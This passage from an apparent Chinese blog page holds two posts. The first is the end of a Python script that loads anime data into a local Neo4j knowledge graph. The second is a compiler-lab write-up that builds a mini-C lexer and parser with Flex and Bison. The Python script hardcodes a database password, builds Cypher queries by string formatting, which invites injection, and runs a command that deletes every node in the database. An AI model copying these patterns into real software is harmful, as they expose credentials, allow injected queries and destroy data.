classification = ['番剧名称','番剧类型','角色列表','声优列表','播放平台','制作公司']

class KG:
    name_file = open('data/name.txt', 'r', encoding='utf8')
    name_img_file = open('data/name_img.txt', 'r', encoding='utf8')
    time_file = open('data/time.txt', 'r', encoding='utf8')
    platform_file = open('data/platform.txt', 'r', encoding='utf8')
    author_file = open('data/author.txt', 'r', encoding='utf8')
    role_img_file = open('data/role_img.txt', 'r', encoding='utf8')
    role_name_file = open('data/role_name.txt', 'r', encoding='utf8')
    role_content_file = open('data/role_content.txt', 'r', encoding='utf8')
    seiyuu_file = open('data/seiyuu.txt', 'r', encoding='utf8')
    classify_file = open('data/classify.txt', 'r', encoding='utf8')
    content_file = open('data/content.txt', 'r', encoding='utf8')

    def createEntity(self,graph):
        cql = '''CREATE (n:番剧数据库{id:'0', name:'番剧数据库'}) RETURN n'''
        graph.run(cql)

        for i, c in enumerate(classification):
            cql = '''
                MERGE (a:番剧数据库{id:'%d', name:'%s'})
                MERGE (b {name: '番剧数据库'}) 
                MERGE (b)-[:划分]->(a)
                ''' % (i+1, c)
            graph.run(cql)

        name_list = self.name_file.readlines()
        name_img_list = self.name_img_file.readlines()
        author_list = self.author_file.readlines()
        platform_list = self.platform_file.readlines()
        content_list = self.content_file.readlines()

        for i in range(len(name_list)):
            cql = """
                MERGE (:番剧名称{id:'%d',名称:"%s",图片:'%s',内容:'%s'})
                """ % (i, name_list[i].replace('\n',''),
                       name_img_list[i].replace('\n',''),
                       content_list[i].replace('\n',''))
            graph.run(cql)

        print("step 1 down")

        author_tmp_list = []
        platform_tmp_list = []
        for i in range(len(name_list)):
            if author_list[i] not in author_tmp_list:
                author_tmp_list.append(author_list[i])
                cql = """
                    MERGE (:制作公司{id:'%d', 名称:"%s"})
                    """ % (i, author_list[i].replace('\n',''))
                graph.run(cql)
            if platform_list[i] not in platform_tmp_list:
                platform_tmp_list.append(platform_list[i])
                cql = """
                    MERGE (:播放平台{id:'%d', 名称:"%s"})
                    """ % (i, platform_list[i].replace('\n', ''))
                graph.run(cql)

        print("step 2 down")

        classify_tmp_list = []
        seiyuu_tmp_list = []
        for i in range(len(name_list)):
            classify_list = self.classify_file.readline().split(' ')
            seiyuu_list = self.seiyuu_file.readline().split(' ')
            role_name_list = self.role_name_file.readline().split(' ')
            role_img_list = self.role_img_file.readline().split(' ')
            role_content_list = self.role_content_file.readline().split(' ')

            for j in range(len(classify_list)):
                if classify_list[j] not in classify_tmp_list:
                    classify_tmp_list.append(classify_list[j])
                    cql = """
                        MERGE (:番剧类型{类型:'%s'})
                        """ % (classify_list[j].replace('\n',''))
                    graph.run(cql)
            for j in range(len(seiyuu_list)):
                if seiyuu_list[j] not in seiyuu_tmp_list:
                    seiyuu_tmp_list.append(seiyuu_list[j])
                    cql = """
                        MERGE (:声优列表{名称:'%s'})
                        """ % (seiyuu_list[j].replace('\n',''))
                    graph.run(cql)
            for j in range(len(role_name_list)):
                if (len(role_name_list)!=len(role_img_list)):
                    print("wrong img:"+role_name_list[j])
                if (len(role_content_list)<4):
                    break
                cql = """
                    MERGE (:角色列表{名称:'%s',图片:'%s',性别:'%s',身份:'%s',特征:'%s',配音:'%s'})
                    """ % (role_name_list[j].replace('\n',''),
                           role_img_list[j].replace('\n',''),
                           role_content_list[j * 4 + 0].replace('\n', ''),
                           role_content_list[j * 4 + 1].replace('\n', ''),
                           role_content_list[j * 4 + 2].replace('\n', ''),
                           role_content_list[j * 4 + 3].replace('\n', ''))
                graph.run(cql)

        print("step 3 down")

    def createreRationship(self,graph):
        self.name_file.seek(0)
        self.seiyuu_file.seek(0)
        self.platform_file.seek(0)
        self.role_name_file.seek(0)
        self.role_img_file.seek(0)
        self.author_file.seek(0)
        self.classify_file.seek(0)

        name_list = self.name_file.readlines()
        author_list = self.author_file.readlines()
        platform_list = self.platform_file.readlines()

        for i in range(len(name_list)):
            classify_list = self.classify_file.readline().split(' ')
            role_name_list = self.role_name_file.readline().split(' ')
            role_img_list = self.role_img_file.readline().split(' ')
            seiyuu_list = self.seiyuu_file.readline().split(' ')

            for j in range(len(classify_list)-1):
                cql = """
                    MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
                          (b:番剧类型{类型:'%s'})
                    MERGE (b)-[:类型]->(a)
                """ % (i,name_list[i].replace('\n',''),
                       classify_list[j].replace('\n',''))
                graph.run(cql)

            for j in range(len(role_name_list)):
                cql = """
                    MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
                          (b:角色列表{名称:'%s',图片:'%s'})
                    MERGE (b)-[:属于]->(a)
                """ % (i,name_list[i].replace('\n',''),
                       role_name_list[j].replace('\n',''),
                       role_img_list[j].replace('\n',''))
                graph.run(cql)

                cql = """
                    MATCH (a:声优列表{名称:"%s"}),
                          (b:角色列表{名称:'%s',图片:'%s'})
                    MERGE (a)-[:配音]->(b)
                """ % (seiyuu_list[j].replace('\n', ''),
                       role_name_list[j].replace('\n', ''),
                       role_img_list[j].replace('\n', ''))
                graph.run(cql)

            cql = """
                MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
                      (b:制作公司{名称:"%s"})
                MERGE (b)-[:制作]->(a)
            """ % (i,name_list[i].replace('\n',''),
                   author_list[i].replace('\n',''))
            graph.run(cql)

            cql = """
                MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
                      (b:播放平台{名称:"%s"})
                MERGE (b)-[:播放]->(a)
            """ % (i,name_list[i].replace('\n',''),
                   platform_list[i].replace('\n',''))
            graph.run(cql)

        print("step 4 down")

if __name__ == '__main__':
    test_graph = Graph("http://127.0.0.1:7474/browser/", auth=("neo4j", "123456789"))
    test_graph.run('match(n) detach delete n')
    kg = KG()
    kg.createEntity(test_graph)
    kg.createreRationship(test_graph)

新设计了一个功能，使其可以列出知识图谱中所有的 番剧名称 实体：

点击某个 番剧名称 实体可以查看其详细信息：

点击角色列表中的 角色 实体，可以查看该实体的信息：

编译原理-Lab1

Posted on 2023-03-16 Edited on 2023-03-19 In Knowledge 30k 27 mins.

第一个任务

任务目标：

定义一个待实现编译器的语言，用上下文无关文法定义该语言
写出10个该语言编写的程序样例（覆盖所有文法规则），用于后续测试
给该语言起一个名称

上下文无关文法 CFG（Context Free Grammar）是一组替换规则，描述了语句是如何形成

CFG 主要作用是验证一个输入字符串 input 是否符合某个文法 G（与正则表达式比较像，但是比正则表达式功能更强大）

具体的语法细节本人没有详细地了解过，下面给出一个简化的C语言的文法：

G[program]: 
 program → ExtDefList 
 ExtDefList→ExtDef ExtDefList | ε 
 ExtDef→Specifier ExtDecList ; |Specifier FunDec CompSt 
 Specifier→int | float 
 ExtDecList→VarDec | VarDec , ExtDecList 
 VarDec→ID 
 FucDec→ID ( VarList ) | ID ( ) 
 VarList→ParamDec , VarList | ParamDec 
 ParamDec→Specifier VarDec 
 
 CompSt→{ DefList StmList } 
 StmList→Stmt StmList | ε 
 Stmt→Exp ; | CompSt | return Exp ; 
 | if ( Exp ) Stmt | if ( Exp ) Stmt else Stmt | while ( Exp ) Stmt 
 DefList→Def DefList | ε 
 Def→Specifier DecList ; 
 DecList→Dec | Dec , DecList 
 Dec→VarDec | VarDec = Exp 
 Exp →Exp =Exp | Exp && Exp | Exp || Exp | Exp < Exp | Exp <= Exp 
 | Exp == Exp | Exp != Exp | Exp > Exp | Exp >= Exp 
 | Exp + Exp | Exp - Exp | Exp * Exp | Exp / Exp | ID | INT | FLOAT 
 | ( Exp ) | - Exp | ! Exp | ID ( Args ) | ID ( ) 
 Args→Exp , Args | Exp

名称为 mini-c

第二个任务

构建词法、语法分析器
用测试样例覆盖所有文法规则
能检出10个不同的词法错误
具有错误恢复功能，能检出10个不同的语法错误，并提示行号
对正确的样例，输出其语法树

工具 Flex 和 Bison

Flex 是一个生成词法分析器的工具，利用 Flex，我们只需提供词法的正则表达式，就可自动生成对应的C代码

Bison 是一种通用解析器生成器，它将带注释的上下文无关文法转换为使用 LALR(1) 解析器表的确定性 LR 或广义 LR（GLR）解析器

通过联合使用 Flex 和 Bison 来构造词法、语法分析程序，大致流程如下：

词法分析

核心步骤：

设计能准确表示各类单词的正则表达式
用正则表达式表示的词法规则等价转化为相应的有限自动机 FA
将其确定化、最小化，最后依据这个 FA 编写对应的词法分析程序

高级语言的词法分析器，需要识别的单词有五类：

关键字（保留字），运算符，界符，常量，标识符

依据 mini-c 语言的定义，下面给出各单词的种类码和相应符号说明：

INT → 整型常量
FLOAT → 浮点型常量
ID → 标识符
ASSIGNOP → = 
RELOP → > | >= | < | <= | == | != 
PLUS → + 
MINUS → - 
STAR → * 
DIV → / 
AND → && 
OR → || 
NOT → ! 
TYPE → int | float 
RETURN → return 
IF → if 
ELSE → else 
WHILE → while 
SEMI → ;
COMMA → ,
LP → (
RP → )
LC → { 
RC → }

这里有关的单词种类码：INT,FLOAT,......,WHILE 每一个对应一个整数值作为其单词的种类码
实现时不需要自己指定这个值，当词法分析程序生成工具 Flex 和语法分析程序生成器 Bison 联合使用时，将这些单词符号以 %token 的形式在 Bison 的文件 parser.y 中罗列出来，就可生成头文件 parser.tab.h，以枚举常量的形式给这些单词种类码进行自动编号

在编写 Flex 文件之前，需要先了解 Flex 的文件格式：

定义部分 
%% 
规则部分 
%% 
用户子程序部分

Flex 文件是文件扩展名为 .l 的文本文件
定义部分：
- 主要包含c语言的一些宏定义，如文件包含、宏名定义，以及一些变量和类型的定义和声明
规则部分：
- 由规则 正规表达式动作 组成
- 词法分析器一旦识别出正规表达式所对应的单词，就会执行动作所对应的操作，返回单词的种类码（常规操作：把读取到的单词以各种形式保存在联合变量 YYLVAL 中）
- 词法分析器识别出一个单词后，会将该单词保存在 yytext 中，其长度为 yyleng
用户子程序部分：
- 这部分代码会原封不动的被复制到词法分析器源程序 lex.yy.c 中

实现代码如下：

/* yylineno记录行号 */
%option yylineno  
    
/* 定义部分 */
%{
    #include "parser.tab.h"
    #include <string.h>
    #include "def.h"
    int yycolumn = 1;
    #define YY_USER_ACTION yylloc.first_line=yylloc.last_line=yylineno; yylloc.first_column=yycolumn; yylloc.last_column=yycolumn+yyleng-1; yycolumn+=yyleng;
    typedef union{
        int type_int;
        float type_float;
        char type_char;
        char type_id[32];
        struct node *ptr;
    }YYLVAL;
    #define YYSTYPE YYLVAL
%}

/* 匹配:不以数字开头的字符串 */
id [A-Za-z][A-Za-z0-9]* 
/* 匹配:数字 */
int [0-9]+ 
/* 匹配:带有'.'的数字 */
float ([0-9]*\.[0-9]+)|([0-9]+\.[0-9]*) 

/* 规则部分 */
%%
\/\/[^\n]*  {;} // 匹配单行注释
\/\*(\s|.)*?\*\/ {;} // 匹配多行注释
{int} {yylval.type_int=atoi(yytext); return INT;} // 执行int规则(匹配数字)
{float} {yylval.type_float=atof(yytext); return FLOAT;} // 执行float规则(匹配带有'.'的数字)
"int" {strcpy(yylval.type_id,yytext); return TYPE;} // 匹配int
"float" {strcpy(yylval.type_id,yytext); return TYPE;} // 匹配float
"char" {strcpy(yylval.type_id,yytext); return TYPE;} // 匹配char
"return" {return RETURN;}
"if" {return IF;}
"else" {return ELSE;}
"while" {return WHILE;}
"for" {return FOR;}
{id} {strcpy(yylval.type_id,yytext); return ID;} // 执行id规则(匹配不以数字开头的字符串)

";" {return SEMI;}
"," {return COMMA;}
">"|"<"|">="|"<="|"=="|"!=" {strcpy(yylval.type_id,yytext); return RELOP;}
"=" {return ASSIGNOP;}
"+" {return PLUS;}
"-" {return MINUS;}
"+=" {return COMADD;}
"-=" {return COMSUB;}
"++" {return AUTOADD;}
"--" {return AUTOSUB;}
"*" {return STAR;}
"/" {return DIV;}
"&&" {return AND;}
"||" {return OR;}
"!" {return NOT;}
"(" {return LP;}
")" {return RP;}
"[" {return LB;}
"]" {return RB;}
"{" {return LC;}
"}" {return RC;}
[\n] {yycolumn=1;}
[ \r\t] {;}
.   {printf("Error type A: Mysterious character\"%s\" at line %d,column %d\n",yytext,yylineno,yycolumn);}
%%
    
/* 用户子程序部分 */
int yywrap(){
    return 1;
}

语法分析

语法分析采用生成器自动化生成工具 GNU Bison（前身是 YACC），该工具采用了 LALR(1) 的自底向上的分析技术，完成语法分析

在编写 Bison 文件之前，需要先了解 Bison 的文件格式：

%{ 
声明部分
%} 
辅助定义部分 
%% 
规则部分 
%% 
用户函数部分

Bison 文件是文件扩展名为 .y 的文本文件
声明部分：
- 包含语法分析中需要的头文件包含，宏定义和全局变量的定义等，这部分会直接被复制到语法分析的C语言源程序中
辅助定义部分：
- 语义值的类型定义
- 非终结符的属性值类型说明（非终结符：不是终结符的都是非终结符）
- 终结符语义值类型定义（终结符：不能单独出现在推导式左边的符号）
- 优先级与结合性定义
规则部分：
- 采用 LR 分析法，需要在每条规则后给出相应的语义动作，例如：
  - 规则：Exp → Exp = Exp
  - 语义动作：Exp: Exp ASSIGNOP Exp {$$=mknode(ASSIGNOP,$1,$3,NULL,yylineno); }
用户子程序部分：
- 这部分代码会原封不动的被复制到词法分析器源程序 lex.yy.c 中

语法分析的过程比较复杂，先看一个案例：

calc.l：Flex 文件

%{
#include "calc.tab.h"
%}

%%
[0-9]+          { yylval = atoi(yytext); return T_NUM; }
[-/+*()\n]      { return yytext[0]; }
.               { return 0; /* end when meet everything else */ }
%%

int yywrap(void) { 
    return 1;
}

使用正则匹配数字，将目标数字存储于 yylval 中并返回 T_NUM
使用正则匹配符号，并返回该符号（yytext[0]）

calc.y：Bison 文件

%{
#include <stdio.h>
void yyerror(const char* msg) {}
%}

%token T_NUM

%left '+' '-'
%left '*' '/'

%%

S   :   S E '\n'        { printf("ans = %d\n", $2); }
    |   /* empty */     { /* empty */ }
    ;

E   :   E '+' E         { $$ = $1 + $3; }
    |   E '-' E         { $$ = $1 - $3; }
    |   E '*' E         { $$ = $1 * $3; }
    |   E '/' E         { $$ = $1 / $3; }
    |   T_NUM           { $$ = $1; }
    |   '(' E ')'       { $$ = $2; }
    ;

%%

int main() {
    return yyparse();
}

规则后面 {} 中的是当完成归约时要执行的语义动作
规则左部的E的属性值用$$表示，右部有2个E，其属性值分别用$1和$3表示
- 例如：A : B '+' C {$$ = $1 + $3;}
- $$ 代指 A
- $1 代指 B
- $2 代指 +
- $3 代指 C

效果如下：

1
2
3

bison -d -v calc.y
flex calc.l
gcc -o calc calc.tab.c lex.yy.c

➜  demo ./calc
1+2+3
ans = 6
5+5
ans = 10
4+5*4 
ans = 24
(4+5)*4 
ans = 36

Bison 的规则部分非常复杂，总计为以下条目指定了规则：

ExtDefList-外部定义列表：即是整个语法树

1
2
3

ExtDefList: {$$=NULL;}
            | ExtDef ExtDefList {$$=mknode(EXT_DEF_LIST,$1,$2,NULL,yylineno);} 
            ;

mknode：生成一个非叶子树结点（第1个参数代表节点的类型，第2-4个参数代表该节点的子树，第5个参数代表行号）
对于每个 EXTDEFLIST 有2种可能：
- 外部定义列表为 NULL
- 外部定义列表不为 NULL，则创建 EXT_DEF_LIST 结点
对于每个 EXT_DEF_LIST 节点有2个子树：
- 第1个子树对应声明 ExtDef（声明变量，声明数组，声明函数）
- 第2个子树对应它自身 ExtDefList
- 代表多个声明 ExtDef（A : B A {...} 这种写法代表存在多个 B）

ExtDef-声明：声明变量，声明数组，声明函数

ExtDef: Specifier ExtDecList SEMI {$$=mknode(EXT_VAR_DEF,$1,$2,NULL,yylineno);}
        | Specifier ArrayDec SEMI {$$=mknode(ARRAY_DEF,$1,$2,NULL,yylineno);} 
        | Specifier FuncDec CompSt {$$=mknode(FUNC_DEF,$1,$2,$3,yylineno);} 
        | error SEMI {$$=NULL; printf("---缺少分号---\n");}
        ;

对于每个 ExtDef 有4种可能：
- 对应外部变量声明，生成 EXT_VAR_DEF 节点
- 对应数组声明，生成 ARRAY_DEF 节点
- 对应函数声明，生成 FUNC_DEF 节点
- 对应报错
EXT_VAR_DEF，ARRAY_DEF，FUNC_DEF 节点的信息如上

Specifier-类型：表示一个类型 (int,float)

1 2	Specifier: TYPE {$$=mknode(TYPE,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);$$->type=(!strcmp($1,"int")?INT:(!strcmp($1,"float")?FLOAT:CHAR));} ;

对于每个 Specifier 有1种可能：
- 对应类型，生成 TYPE 节点
TYPE 节点无子树

ExtDecList-变量名称列表：由一个或多个变量组成，多个变量之间用逗号隔开

1
2
3

ExtDecList: VarDec {$$=$1;} 
            | VarDec COMMA ExtDecList {$$=mknode(EXT_DEC_LIST,$1,$3,NULL,yylineno);}
            ;

对于每个 EXT_DECLIST 有2种可能：
- 只有一个变量，则直接赋值 VarDec 变量
- 有多个变量，则生成 EXT_DEC_LIST 节点
对于每个 EXT_DEC_LIST 结点有2个子树：
- 第1个子树对应变量 VarDec
- 第2个子树对应它自身 ExtDecList
- 代表多个变量 VarDec

VarDec-变量名称：由一个 ID 组成

1 2	VarDec: ID {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // ID结点,标识符符号串存放结点的type_id ;

对于每个 VarDec 有1种可能：
- 由一个 ID 组成，则生成 ID 节点
ID 节点无子树

FuncDec-函数声明：包括函数名和参数定义

FuncDec: ID LP VarList RP {$$=mknode(FUNC_DEC,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数名存放在$$->type_id
         | ID LP RP {$$=mknode(FUNC_DEC,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数名存放在$$->type_id
         | error RP {$$=NULL; printf("---函数左括号右括号不匹配---\n");}
         ;

函数名 ID 存放在 $$->type_id
对于每个 FuncDec 有3种可能：
- 对应一个带参数的函数，则生成 FUNC_DEC 节点（带参）
- 对应一个不带参数的函数，则生成 FUNC_DEC 节点（不带参）
- 对应报错
对于每个 FUNC_DEC 结点有1个子树或者无子树：
- 第1个子树对应参数定义列表 VarDec

ArrayDec-数组声明

1
2
3

ArrayDec: ID LB Exp RB {$$=mknode(ARRAY_DEC,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
          | ID LB RB {$$=mknode(ARRAY_DEC,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
          | error RB {$$=NULL;printf("---数组定义错误---\n");}

对于每个 ArrayDec 有3种可能：
- 对应静态数组，则生成 ARRAY_DEC 节点（带有表达式 Exp）
- 对应动态数组，则生成 ARRAY_DEC 节点
- 对应报错
对于每个 ARRAY_DEC 结点有1个子树或者无子树：
- 第1个子树对应表达式 Exp

VarList-参数定义列表：由一个到多个参数定义组成，用逗号隔开

1
2
3

VarList: ParamDec {$$=mknode(PARAM_LIST,$1,NULL,NULL,yylineno);}
         | ParamDec COMMA VarList {$$=mknode(PARAM_LIST,$1,$3,NULL,yylineno);}
         ;

对于每个 VarList 有2种可能：
- 对应一个参数 ParamDec，则生成 PARAM_LIST 节点
- 对应用逗号隔开的多个参数 ParamDec，则生成 PARAM_LIST 节点
对于每个 PARAM_LIST 结点有1个或2个子树：
- 第1个子树对应参数定义 ParamDec
- 第2个子树对应它自身 PARAM_LIST

ParamDec-参数定义：固定由一个类型和一个变量组成

1 2	ParamDec: Specifier VarDec {$$=mknode(PARAM_DEC,$1,$2,NULL,yylineno);} ;

对于每个 ParamDec 有1种可能：
- 对应一个类型 Specifier 和一个变量 VarDec，则生成 PARAM_DEC 节点
对于每个 PARAM_DEC 节点有2个子树：
- 第1个子树对应类型 Specifier
- 第2个子树对应一个变量 VarDec

CompSt-复合语句：左右分别用大括号括起来，中间有定义列表和语句列表

1
2
3

CompSt: LC DefList StmList RC {$$=mknode(COMP_STM,$2,$3,NULL,yylineno);}
        | error RC {$$=NULL; printf("---复合语句内存在错误---\n");}
        ;

对于每个 CompSt 有2种可能：
- 对应一个由 {} 包裹起来的子语句，则生成 COMP_STM 节点
- 对应报错
对于每个 COMP_STM 节点有2个子树：
- 第1个子树对应定义列表 DefList
- 第2个子树对应语句列表 StmList

StmList-语句列表：由“0”个或多个语句 Stmt 组成

1
2
3

StmList: {$$=NULL;}
         | Stmt StmList {$$=mknode(STM_LIST,$1,$2,NULL,yylineno);}
         ;

对于每个 StmList 有2种可能：
- 对应 NULL
- 对应多个语句 Stmt，则生成 STM_LIST 节点
对于每个 STM_LIST 节点有2个子树：
- 第1个子树对应语句 Stmt
- 第2个子树对应它自身 StmList

Stmt-语句：可能为表达式，复合语句，return 语句，if 语句，if-else 语句，while 语句，for 语句

Stmt: Exp SEMI {$$=mknode(EXP_STMT,$1,NULL,NULL,yylineno);}
      | CompSt {$$=$1;} // 复合语句结点直接最为语句结点,不再生成新的结点
      | RETURN Exp SEMI {$$=mknode(RETURN,$2,NULL,NULL,yylineno);}
      | IF LP Exp RP Stmt %prec LOWER_THEN_ELSE {$$=mknode(IF_THEN,$3,$5,NULL,yylineno);}
      | IF LP Exp RP Stmt ELSE Stmt {$$=mknode(IF_THEN_ELSE,$3,$5,$7,yylineno);}
      | WHILE LP Exp RP Stmt {$$=mknode(WHILE,$3,$5,NULL,yylineno);}
      | FOR LP Exp RP Stmt {$$=mknode(FOR,$3,$5,NULL,yylineno);}
      ;

对于每个 Stmt 有7种可能：
- 对应基础表达式 Exp，则生成节点 EXP_STMT
- 对应符合语句 CompSt
- 对应 RETURN Exp，则生成节点 RETURN
- 对应 IF ELSE-IF 语句，则生成节点 IF_THEN
- 对应 IF ELSE 语句，则生成节点 IF_THEN_ELSE
- 对应 WHILE 语句，则生成节点 WHILE
- 对应 FOR 语句，则生成节点 FOR

DefList-定义列表：由“0”个或多个定义语句组成

1
2
3

DefList: {$$=NULL; }
         | Def DefList {$$=mknode(DEF_LIST,$1,$2,NULL,yylineno);}
         ;

对于每个 DefList 有2种可能：
- 对应 NULL
- 对应多个定义 Def，则生成 DEF_LIST 节点

Def-定义：定义一个或多个定义语句，由分号隔开

1
2
3

Def: Specifier DecList SEMI {$$=mknode(VAR_DEF,$1,$2,NULL,yylineno);}
     | Specifier ArrayDec SEMI {$$=mknode(ARRAY_DEF,$1,$2,NULL,yylineno);}
     ;

对于每个 Def 有2种可能：
- 对应变量的定义，则生成 VAR_DEF 节点
- 对应数组的定义，则生成 ARRAY_DEF 节点

DecList-语句列表：由一个或多个语句组成，由逗号隔开，最终都成一个表达式

1
2
3

DecList: Dec {$$=mknode(DEC_LIST,$1,NULL,NULL,yylineno);}
         | Dec COMMA DecList {$$=mknode(DEC_LIST,$1,$3,NULL,yylineno);}
         ;

对于每个 DecList 有2种可能：
- 对应一个语句 Dec，则生成 DEC_LIST 节点
- 对应用逗号隔开的多个 Dec，则生成 DEC_LIST 节点

Dec-语句：一个变量名称或者一个赋值语句（变量名称等于一个表达式）

1
2
3

Dec: VarDec {$$=$1;}
     | VarDec ASSIGNOP Exp {$$=mknode(ASSIGNOP,$1,$3,NULL,yylineno);strcpy($$->type_id,"ASSIGNOP");}
     ;

对于每个 Dec 有2种可能：
- 对应一个变量名称 VarDec
- 对应一个赋值语句，则生成 ASSIGNOP 节点

Exp-表达式：代表数字或是数字之间的运算，和函数调用

Exp: Exp ASSIGNOP Exp {$$=mknode(ASSIGNOP,$1,$3,NULL,yylineno);strcpy($$->type_id,"ASSIGNOP");} // $$结点type_id空置未用,正好存放运算符
     | Exp AND Exp {$$=mknode(AND,$1,$3,NULL,yylineno);strcpy($$->type_id,"AND");}
     | Exp OR Exp {$$=mknode(OR,$1,$3,NULL,yylineno);strcpy($$->type_id,"OR");}
     | Exp RELOP Exp {$$=mknode(RELOP,$1,$3,NULL,yylineno);strcpy($$->type_id,$2);} // 词法分析关系运算符号自身值保存在$2中
     | Exp PLUS Exp {$$=mknode(PLUS,$1,$3,NULL,yylineno);strcpy($$->type_id,"PLUS");}
     | Exp MINUS Exp {$$=mknode(MINUS,$1,$3,NULL,yylineno);strcpy($$->type_id,"MINUS");}
     | Exp STAR Exp {$$=mknode(STAR,$1,$3,NULL,yylineno);strcpy($$->type_id,"STAR");}
     | Exp DIV Exp {$$=mknode(DIV,$1,$3,NULL,yylineno);strcpy($$->type_id,"DIV");}
     | Exp COMADD Exp {$$=mknode(COMADD,$1,$3,NULL,yylineno);strcpy($$->type_id,"COMADD");}
     | Exp COMSUB Exp {$$=mknode(COMSUB,$1,$3,NULL,yylineno);strcpy($$->type_id,"COMSUB");}
     | LP Exp RP {$$=$2;} /* 遇到左右括号,可直接忽略括号,Exp的值就为括号里面的Exp */
     | MINUS Exp %prec UMINUS {$$=mknode(UMINUS,$2,NULL,NULL,yylineno);strcpy($$->type_id,"UMINUS");}
     | NOT Exp {$$=mknode(NOT,$2,NULL,NULL,yylineno);strcpy($$->type_id,"NOT");}
     | AUTOADD Exp {$$=mknode(AUTOADD_L,$2,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOADD");}
     | AUTOSUB Exp {$$=mknode(AUTOSUB_L,$2,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOSUB");}
     | Exp AUTOADD {$$=mknode(AUTOADD_R,$1,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOADD");}
     | Exp AUTOSUB {$$=mknode(AUTOSUB_R,$1,NULL,NULL,yylineno);strcpy($$->type_id,"AUTOSUB");}
     | ID LP Args RP {$$=mknode(FUNC_CALL,$3,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数调用后面的括号部分,只需要把括号里面的内容传入即可
     | ID LP RP {$$=mknode(FUNC_CALL,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);} // 函数调用后面的括号部分没有参数
     | ID {$$=mknode(ID,NULL,NULL,NULL,yylineno);strcpy($$->type_id,$1);}
     | INT {$$=mknode(INT,NULL,NULL,NULL,yylineno);$$->type_int=$1;$$->type=INT;}
     | FLOAT {$$=mknode(FLOAT,NULL,NULL,NULL,yylineno);$$->type_float=$1;$$->type=FLOAT;}
     | CHAR {$$=mknode(CHAR,NULL,NULL,NULL,yylineno); $$->type_char=$1;$$->type=CHAR;}
     ;

对于每个 Exp 有23种可能：
- 前10种可能分别对应：等于 ASSIGNOP，和 AND，或 OR，二元运算符 RELOP，加 PLUS，减 MINUS，乘 STAR，除 DIV，加等于 COMADD，减等于 COMSUB，都会生成对应的节点
- 第11种可能分别对应：左右括号
- 第12,13种可能分别对应：负操作和非操作，分别生成 UMINUS 和 NOT 节点
- 第14-17种可能分别对应：加加 AUTOADD 和减减 AUTOSUB 的左右操作，分别生成4种类型的节点
- 第18,19种可能对应：函数的有参调用和无参调用，都生成 FUNC_CALL 节点
- 最后4种可能对应：ID，INT，FLOAT，CHAR

Args-用逗号隔开的参数（和参数定义 ParamDec 不同）

1
2
3

Args: Exp COMMA Args {$$=mknode(ARGS,$1,$3,NULL,yylineno);}
      | Exp {$$=mknode(ARGS,$1,NULL,NULL,yylineno);}
      ;

参数 Args 只在函数调用时使用
对于每个 Args 有2种可能：
- 对应用逗号隔开的多个 Exp
- 对应一个 Exp

实现代码如下：

%define parse.error verbose // 指示bison生成详细的错误消息
%locations // 记录行号
    
/* 声明部分 */
%{
#include "stdio.h"
#include "math.h"
#include "string.h"
#include "def.h"
extern int yylineno;
extern char *yytext;
extern FILE *yyin;
void yyerror(const char* fmt, ...);
void display(struct node *,int);
%}

/* 辅助声明部分 */
/* Bison中默认将所有的语义值都定义为int类型,可以通过定义宏YYSTYPE来改变值的类型
如果有多个值类型,则需要通过在Bison声明中使用%union列举出所有的类型 */
%union {
  int type_int;
  float type_float;
  char type_char;
  char type_id[32];
  struct node *ptr;
};

/* %type 定义非终结符的语义值类型: %type <union 的成员名> 非终结符 */
/* %type <ptr> program ExtDefList:表示非终结符ExtDefList属性值的类型对应联合中成员ptr的类型,在本实验中对应一个树结点的指针 */
%type <ptr> program ExtDefList ExtDef Specifier ExtDecList FuncDec ArrayDec CompSt VarList VarDec ParamDec Stmt StmList DefList Def DecList Dec Exp Args

/* %token 定义终结符的语义值类型: %token <union 的成员名> 终结符  */
/* %token <type_id> ID:表示识别出来一个ID标识符后,标识符的字符串值保存在成员type_id */
%token <type_int> INT // 指定INT的语义值是type_int,由词法分析得到的数值
%token <type_id> ID RELOP TYPE // 指定ID,RELOP的语义值是type_id,由词法分析得到标识符字符串
%token <type_float> FLOAT // 指定ID的语义值是type_float,由词法分析得到的数值
%token <type_char> CHAR // 指定ID的语义值是type_char,由词法分析得到的数值
%token LP RP LC RC LB RB SEMI COMMA
%token PLUS MINUS STAR DIV COMADD COMSUB ASSIGNOP AND OR NOT IF ELSE WHILE FOR RETURN
    
/* 优先级 */
%left COMADD COMSUB /* %left:表示左结合,前面符号的优先级低 */
%left ASSIGNOP
%left OR
%left AND
%left RELOP
%left PLUS MINUS
%left STAR DIV
%right UMINUS NOT AUTOADD AUTOSUB /* %right:定义一个优先级更高的单目,符号UMINUS */
%nonassoc LOWER_THEN_ELSE /* %nonassoc:没有结合性一般与%prec结合使用,表示该操作有同样的优先级 */
%nonassoc ELSE

/* 规则部分 */
%%
program: ExtDefList { display($1,0);} /* 归约到program,显示语法树(display是自己实现的,用于可视化AST的函数) */
         ;
/* ExtDefList-外部定义列表:即是整个语法树 */
ExtDefList: {$$=NULL;} // 整个语法树为空 
            | ExtDef ExtDefList {$$=mknode(EXT_DEF_LIST,$1,$2,NULL,yylineno);} // 每一个EXTDEFLIST的结点,其第1棵子树对应一个外部变量声明或函数
            ;
/* ExtDef-外部声明:声明外部变量或者声明函数 */
ExtDef: Specifier ExtDecList SEMI {$$=mknode(EXT_VAR_DEF,$1,$2,NULL,yylineno);} // 该结点对应一个外部变量声明
        | Specifier ArrayDec SEMI {$$=mknode(ARRAY_DEF,$1,$2,NULL,yylineno);} // 数组定义
        | Specifier FuncDec CompSt {$$=mknode(FUNC_DEF,$1,$2,$3,yylineno);} // 该结点对应一个函数定义,类型+函数声明+复合语句
        | error SEMI {$$=NULL; printf("---缺少分号---\n");}
        ;
/* Specifier-类型:表示一个类型(int,float) */
